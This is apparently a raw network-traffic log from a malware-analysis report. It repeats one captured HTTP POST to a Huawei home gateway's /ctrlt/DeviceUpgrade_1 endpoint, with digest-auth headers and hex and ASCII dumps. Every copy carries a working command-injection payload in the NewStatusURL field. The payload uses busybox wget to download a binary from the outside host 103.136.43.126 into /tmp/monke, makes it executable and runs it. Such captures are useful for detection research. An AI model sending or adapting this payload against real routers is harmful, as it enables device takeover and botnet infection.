<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
